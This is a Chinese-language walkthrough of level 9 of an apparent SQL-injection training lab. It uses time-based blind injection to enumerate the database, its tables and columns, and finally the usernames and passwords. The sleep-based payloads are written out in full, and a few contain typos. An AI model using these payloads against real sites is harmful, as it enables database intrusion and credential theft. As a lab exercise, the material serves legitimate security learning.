目录

1.首先观察页面,发现提示id为参,我们尝试传参

2.判断注入类型

3.判断数据表的列数

4.判断数据库名

5.判断表名

6.查看其所有字段的名字

7.查看表中的所有数据


1.首先观察页面,发现提示id为参,我们尝试传参


我们尝试传参,观察页面是否有变化

发现有变化,我们尝试sql注入

2.判断注入类型

输入?id=1 and 1=2,判断是否为数字型注入,若语句生效,则为数字型注入,反之则不是。

我们发现页面无变化,初步判断不是数字型注入,接下来我们输入?id=1' and 1=2--+,观察页面是否有变化,如果有变化即为字符型注入,反之,我们需要继续查看。

页面没有发生变化,我们来判断闭合方式。发现无论如何都不会发生变化,初步判断是时间盲注,我们来验证一下。

发现无延迟,判断不是数字型注入,接下来我们尝试字符型注入。

发现延迟,发现是字符型注入。

3.判断数据表的列数

我们输入?id=1 and sleep(5) order by 3 --+来判断其有多少列

我们发现值为3时可以页面有延迟,但是当值为4时,页面无延迟,所以我们判断其共有三列。

4.判断数据库名

输入?id=1' and if(substr(database(),1,1)='a',sleep(3),1)--+来判断数据库的第一个字母是否是a

发现无延迟,由此我们可以得知其不是a,我们进行枚举,最终得到数据库名security。

5.判断表名

接下来我们寻找表名,使用语句?id=1'and if(length((select_table name from information _schema.tables wheretable_schema='security' limit 0,1))>5,sleep(5),1)--+

我们发现数字大于5有延迟,数字大于6时无延迟,说明其长度为6

接下来我们寻找数据库表名,使用语句?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)--+来判断security的第一个表的第一个单词是不是a

通过枚举,最终得到第一个表名email,如法炮制,即可得到所有表名。

第二个表名为referers

第三个表名为uagents

第四个表名为users

6.查看其所有字段的名字

我们使用?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 0,1),1,1)='a',sleep(5),1)--+来判断users表的第一个字段是否为a

通过枚举,我们得到了id,如法炮制

这样一来,我们便可以得知有三个字段,分别为id,username,password。

7.查看表中的所有数据

这里我们使用语句?id=1' and if(substr((select username from users limit 0,1),1,1)='a',sleep(5),1)--+来对username列中的第一个值进行判断,观察其是否为a

通过枚举,我们得到第一个用户名dump,接下来的操作与前面无异,可一直获取用户名。而对于密码,我们只需将username字段改为password即可获得密码,这里就不一一展示。到这里,我们就得到了数据库的全部敏感信息,第九关结束!

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐